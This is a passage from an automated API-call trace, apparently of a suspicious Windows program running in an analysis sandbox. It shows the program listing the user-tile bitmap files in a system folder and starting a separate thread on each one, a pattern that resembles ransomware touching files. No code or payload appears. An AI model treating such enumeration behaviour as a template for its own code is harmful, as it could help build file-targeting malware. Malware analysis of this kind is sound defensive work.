_String2="..") returned 1 [0097.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11a20 [0097.258] wcscpy (in: _Dest=0x1ce11a20, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.258] wcscat (in: _Dest=0x1ce11a20, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.258] wcscat (in: _Dest=0x1ce11a20, _Source="usertile19.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile19.bmp" [0097.258] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1284 [0097.259] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0097.259] wcscmp (_String1="usertile20.bmp", _String2=".") returned 1 [0097.259] wcscmp (_String1="usertile20.bmp", _String2="..") returned 1 [0097.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11ad0 [0097.259] wcscpy (in: _Dest=0x1ce11ad0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.259] wcscat (in: _Dest=0x1ce11ad0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.259] wcscat (in: _Dest=0x1ce11ad0, _Source="usertile20.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile20.bmp" [0097.259] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288 [0097.260] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0097.260] wcscmp (_String1="usertile21.bmp", _String2=".") returned 1 [0097.260] wcscmp (_String1="usertile21.bmp", _String2="..") returned 1 [0097.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11b80 [0097.260] wcscpy (in: _Dest=0x1ce11b80, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.260] wcscat (in: _Dest=0x1ce11b80, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.261] wcscat (in: _Dest=0x1ce11b80, _Source="usertile21.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile21.bmp" [0097.261] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128c [0097.261] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0097.261] wcscmp (_String1="usertile22.bmp", _String2=".") returned 1 [0097.261] wcscmp (_String1="usertile22.bmp", _String2="..") returned 1 [0097.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11c30 [0097.262] wcscpy (in: _Dest=0x1ce11c30, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.262] wcscat (in: _Dest=0x1ce11c30, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.262] wcscat (in: _Dest=0x1ce11c30, _Source="usertile22.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile22.bmp" [0097.262] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11c30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1290 [0097.263] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0097.263] wcscmp (_String1="usertile23.bmp", _String2=".") returned 1 [0097.263] wcscmp (_String1="usertile23.bmp", _String2="..") returned 1 [0097.263] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11ce0 [0097.263] wcscpy (in: _Dest=0x1ce11ce0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.263] wcscat (in: _Dest=0x1ce11ce0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.263] wcscat (in: _Dest=0x1ce11ce0, _Source="usertile23.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile23.bmp" [0097.263] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ce0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1294 [0097.264] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0097.264] wcscmp (_String1="usertile24.bmp", _String2=".") returned 1 [0097.264] wcscmp (_String1="usertile24.bmp", _String2="..") returned 1 [0097.264] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11d90 [0097.264] wcscpy (in: _Dest=0x1ce11d90, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.264] wcscat (in: _Dest=0x1ce11d90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.264] wcscat (in: _Dest=0x1ce11d90, _Source="usertile24.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile24.bmp" [0097.264] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1298 [0097.265] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0097.265] wcscmp (_String1="usertile25.bmp", _String2=".") returned 1 [0097.265] wcscmp (_String1="usertile25.bmp", _String2="..") returned 1 [0097.265] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11e40 [0097.265] wcscpy (in: _Dest=0x1ce11e40, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.265] wcscat (in: _Dest=0x1ce11e40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.265] wcscat (in: _Dest=0x1ce11e40, _Source="usertile25.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile25.bmp" [0097.265] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11e40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x129c [0097.265] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0097.265] wcscmp (_String1="usertile26.bmp", _String2=".") returned 1 [0097.265] wcscmp (_String1="usertile26.bmp", _String2="..") returned 1 [0097.266] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11ef0 [0097.266] wcscpy (in: _Dest=0x1ce11ef0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.266] wcscat (in: _Dest=0x1ce11ef0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.266] wcscat (in: _Dest=0x1ce11ef0, _Source="usertile26.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile26.bmp" [0097.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a0 [0097.266] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0097.266] wcscmp (_String1="usertile27.bmp", _String2=".") returned 1 [0097.266] wcscmp (_String1="usertile27.bmp", _String2="..") returned 1 [0097.267] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce11fa0 [0097.267] wcscpy (in: _Dest=0x1ce11fa0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.267] wcscat (in: _Dest=0x1ce11fa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.267] wcscat (in: _Dest=0x1ce11fa0, _Source="usertile27.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile27.bmp" [0097.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce11fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a4 [0097.268] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0097.268] wcscmp (_String1="usertile28.bmp", _String2=".") returned 1 [0097.268] wcscmp (_String1="usertile28.bmp", _String2="..") returned 1 [0097.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12050 [0097.268] wcscpy (in: _Dest=0x1ce12050, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.268] wcscat (in: _Dest=0x1ce12050, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.268] wcscat (in: _Dest=0x1ce12050, _Source="usertile28.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile28.bmp" [0097.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12a8 [0097.269] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0097.269] wcscmp (_String1="usertile29.bmp", _String2=".") returned 1 [0097.269] wcscmp (_String1="usertile29.bmp", _String2="..") returned 1 [0097.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12100 [0097.269] wcscpy (in: _Dest=0x1ce12100, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.269] wcscat (in: _Dest=0x1ce12100, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.269] wcscat (in: _Dest=0x1ce12100, _Source="usertile29.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile29.bmp" [0097.269] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12ac [0097.270] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0097.270] wcscmp (_String1="usertile30.bmp", _String2=".") returned 1 [0097.270] wcscmp (_String1="usertile30.bmp", _String2="..") returned 1 [0097.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce121b0 [0097.270] wcscpy (in: _Dest=0x1ce121b0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.270] wcscat (in: _Dest=0x1ce121b0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.270] wcscat (in: _Dest=0x1ce121b0, _Source="usertile30.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile30.bmp" [0097.270] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce121b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b0 [0097.271] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0097.271] wcscmp (_String1="usertile31.bmp", _String2=".") returned 1 [0097.271] wcscmp (_String1="usertile31.bmp", _String2="..") returned 1 [0097.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12260 [0097.271] wcscpy (in: _Dest=0x1ce12260, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.271] wcscat (in: _Dest=0x1ce12260, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.271] wcscat (in: _Dest=0x1ce12260, _Source="usertile31.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile31.bmp" [0097.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b4 [0097.272] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0097.272] wcscmp (_String1="usertile32.bmp", _String2=".") returned 1 [0097.272] wcscmp (_String1="usertile32.bmp", _String2="..") returned 1 [0097.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12310 [0097.273] wcscpy (in: _Dest=0x1ce12310, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.273] wcscat (in: _Dest=0x1ce12310, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.273] wcscat (in: _Dest=0x1ce12310, _Source="usertile32.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile32.bmp" [0097.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce12310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12b8 [0097.274] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0097.274] wcscmp (_String1="usertile33.bmp", _String2=".") returned 1 [0097.274] wcscmp (_String1="usertile33.bmp", _String2="..") returned 1 [0097.274] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce123c0 [0097.274] wcscpy (in: _Dest=0x1ce123c0, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.274] wcscat (in: _Dest=0x1ce123c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.274] wcscat (in: _Dest=0x1ce123c0, _Source="usertile33.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile33.bmp" [0097.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1ce123c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12bc [0097.275] FindNextFileW (in: hFindFile=0x1cd868b0, lpFindFileData=0x1ce59620 | out: lpFindFileData=0x1ce59620*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0097.275] wcscmp (_String1="usertile34.bmp", _String2=".") returned 1 [0097.275] wcscmp (_String1="usertile34.bmp", _String2="..") returned 1 [0097.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1ce12470 [0097.275] wcscpy (in: _Dest=0x1ce12470, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0097.275] wcscat (in: _Dest=0x1ce12470, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\" [0097.275] wcscat (in: _Dest=0x1ce12470, _Source="usertile34.bmp" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\usertile34.bmp") 